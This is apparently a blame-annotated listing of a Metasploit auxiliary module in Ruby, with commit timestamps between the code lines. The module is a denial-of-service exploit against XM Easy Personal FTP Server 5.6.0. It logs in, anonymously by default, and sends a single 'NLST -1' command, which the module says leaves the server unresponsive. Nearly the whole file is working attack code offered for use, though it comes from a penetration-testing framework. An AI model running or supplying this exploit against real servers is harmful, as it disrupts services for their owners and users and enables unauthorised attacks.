2009-01-09 05:33:26 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2009-01-09 05:33:26 +00:00
|
|
|
##
|
|
|
|
|
2008-10-13 23:52:08 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Ftp
|
2008-11-18 20:00:31 +00:00
|
|
|
include Msf::Auxiliary::Dos
|
|
|
|
|
2008-10-13 23:52:08 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'XM Easy Personal FTP Server 5.6.0 NLST DoS',
|
|
|
|
'Description' => %q{
|
|
|
|
This module is a port of shinnai's script. You need
|
|
|
|
a valid login, but even anonymous can do it as long
|
|
|
|
as it has permission to call NLST.
|
|
|
|
},
|
2009-04-03 15:05:35 +00:00
|
|
|
'Author' => 'kris katterjohn',
|
2008-10-13 23:52:08 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2009-01-09 05:33:26 +00:00
|
|
|
'Version' => '$Revision$',
|
2008-10-13 23:52:08 +00:00
|
|
|
'References' =>
|
2009-01-09 05:33:26 +00:00
|
|
|
[ [ 'URL', 'http://milw0rm.com/exploits/6741' ] ],
|
2008-10-13 23:52:08 +00:00
|
|
|
'DisclosureDate' => 'Oct 13 2008'))
|
|
|
|
|
|
|
|
# They're required
|
|
|
|
register_options([
|
|
|
|
OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ]),
|
|
|
|
OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ])
|
|
|
|
])
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
2008-10-30 00:52:38 +00:00
|
|
|
return unless connect_login
|
2008-10-13 23:52:08 +00:00
|
|
|
|
|
|
|
raw_send("NLST -1\r\n")
|
|
|
|
|
|
|
|
disconnect
|
|
|
|
|
|
|
|
print_status("OK, server may still be technically listening, but it won't respond")
|
|
|
|
end
|
2008-10-30 00:52:38 +00:00
|
|
|
end
|